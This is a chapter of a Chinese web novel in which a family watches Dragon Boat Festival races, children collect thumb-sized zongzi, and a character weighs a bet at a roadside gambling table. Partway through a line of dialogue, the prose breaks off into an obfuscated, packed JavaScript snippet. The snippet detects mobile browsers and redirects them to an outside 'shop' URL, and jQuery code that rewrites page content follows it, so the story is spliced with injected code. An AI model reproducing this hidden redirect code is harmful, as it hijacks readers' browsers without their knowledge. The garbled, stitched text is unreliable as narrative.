五月初五,端午节。
天还未大亮,窗外就已传来隐约的喧嚣。
不是往日的叫卖或车马声,而是一种带着兴奋劲的嘈杂说话声和孩子的笑闹奔跑,顺着清晨微凉的空气,飘进春风堂的后院。
林禾醒得早,刚起身洗漱,就听见院门被拍得“啪啪”响,夹杂着男孩子清脆响亮的喊声。
“大妞!二妞!快出来!去运河边捡粽子啦!”
石头本就嗓门大,带着兴奋劲喊更是一条街都能听见他的声音。
大牛劝他声音小一点,后面还跟着几个眼熟的槐花村半大孩子。
他们一个个脸上带着过节特有的兴奋,手里都挎着小竹篮或布口袋。
大妞二妞早就被外面的动静闹醒了,听见石头的声音有些按耐不住了。
尤其是二妞,正眼巴巴地望着林禾。
有大牛在,林禾放心她们跟着去,只是笑着嘱咐了两句。
“去吧,跟着大牛他们,注意安全,别往水边挤。”
“知道啦!”
两个丫头欢呼一声,像小鸟般飞了出去,加入了门外的小伙伴队伍。
孩子们呼啦啦地涌向运河方向,空气中留下他们雀跃的谈笑声。
“听说今年刘员外家包了好多拇指粽子!”
“我娘说捡到了要分她一个!”
“快走快走,去晚了就没了!”
所谓“拇指粽子”,不过是端午的一个有趣风俗。
一些富裕人家或商铺,会用最细嫩的粽叶,包上只有拇指大小的迷你粽子,内里仅嵌一颗小红枣。
等煮熟后趁热由主家或伙计在龙舟赛开始前,沿着运河两岸抛撒。
孩子们便蜂拥去捡,捡到了当场剥开吃掉,甜滋滋的一小口,寓意着捡到福气,甜甜蜜蜜。
对平日难得吃零嘴的寻常孩子来说,这比过年分糖块还让人开心。
林禾听着外面的动静,也带着王三娘和沈大山也出了门。
街上果然比往日热闹数倍,处处透着过节的气氛。
家家户户门楣上都插着新采的艾草和菖蒲,空气里弥漫着特有的清苦香气,用以驱邪避毒。
许多孩子手腕上和脚腕上已经戴上了五彩丝线编的长命缕,脖子上挂着家人缝制的内填香料的各式小香包,跑动间晃晃悠悠,香气袭人。
越靠近运河,人流越是密集。
挑担的小贩早早占了位置,叫卖着艾草糕、雄黄酒、五彩丝线、香包以及各种应节的零嘴玩意儿。
还未到正午,就听得一阵响亮的锣鼓声从运河码头方向传来,小厮扯着嗓子沿街吆喝。
“龙舟赛快开始喽!
刘员外家的腾龙队和咱百姓自组的破浪队马上开赛!
都去运河边给自家看好的队伍助威啊!
场面热闹,去晚了可没地儿站咯!”
爱凑热闹是人的天性,哪里有热闹哪里就有人。
小厮的喊声如同投入滚油的水滴,让本就热闹的街道更添几分躁动。
人群开始不由自主地向运河岸边涌动。
林禾他们也随着人流来到河边,两岸早已站了不少人,摩肩接踵。
靠近码头的视野最佳处,甚至搭起了些临时的看台,坐着些衣着光鲜的富户人家。
更多的寻常百姓则挤在岸边,伸长脖子张望。
宽阔的运河水面已被清理干净,碧波荡漾。
两条狭长鲜艳的龙舟并排停在起点线后,船身描绘着精美的鳞甲,船头高昂的龙头威风凛凛。
其中之一尤其精悍神气,龙目炯炯,龙须飞扬,这一看就知道是张大景的手艺。
每条龙舟上,十余名精壮汉子赤着上身,露出古铜色的结实肌肉,手持船桨,严阵以待。
鼓手站在船中,手握鼓槌,神情肃穆。
“娘,我瞧着那队伍里站的是不是张大哥?”
眼尖的王三娘指着破浪队中一个汉子说道。
林禾定睛一看,果然是张林。
他脸上满是汗水与兴奋,正和同伴们低声说着什么,眼神紧紧盯着前方的水道。
沈大山也瞧见了,在一旁低声对林禾道。
“听说赢了刘员外的队伍,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193193|182632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
划龙舟的每个人都有五十两的彩头,为了这五十两彩头,报名的人挤破了头。
刘员外家的腾龙队赢了有一百两的彩头,自然是挑了又挑,都是家里养着的好手,听说还专门练了两个月。
咱们这破浪队瞧着也不差,都是城西码头和货栈出身的力工,常年在河上讨生活。
力气、水性、默契也都是不错的,张林能选上,可是露了大脸!”
张氏领着孩子挤在稍远些的地方,满脸期盼。
岸边人声鼎沸,除了为龙舟队呐喊助威的,也有那好事的,瞅准了机会想寻点乐子兼赚些小钱。
不知是谁,随意搬了张破旧条桌摆在离码头不远的一棵大树下。
扯了块不知从哪儿弄来的靛蓝粗布往桌上一铺,便扯开嗓子吆喝起来。
“下注了!下注了!腾龙对破浪,今日龙舟彩头谁家得?买定离手,赢钱沾喜气喽!”
吆喝声吸引了不少闲汉和爱凑热闹的百姓围拢过去。
庄家是个精瘦的汉子,眼珠灵活,嘴里噼里啪啦说着赔率。
周围人议论纷纷,多是几文、十几文地往外掏,叮当响的铜板落在粗布上,很快堆起一小堆。
放眼望去,押在刘员外家腾龙队那边的铜钱明显多出一大截,毕竟腾龙队名声在外,训练有素,又是东道主,在大多数人看来胜算更高。
押破浪队的则零零散散,多是些抱着侥幸心理或纯粹支持本地乡亲的,数额也小。
“我押五文,腾龙队!”
“我押十文,也跟腾龙!”
“破浪队……押两文玩玩。”
沈大山看着热闹,也被勾起了心思。
他昨天才领到的零嘴钱,今天带了一半出来,之前花了些,现在还剩下一些。
沈大山摸了摸怀里今天出门带的几十文钱,有些跃跃欲试。
他挤到桌前,看着桌子上的赌注泾渭分明。
正盘算着是随大流押腾龙队稳当,还是支持一下有张林在内的破浪队,好歹是同村乡亲。
就在他犹豫的当口,人群外围忽然一阵骚动。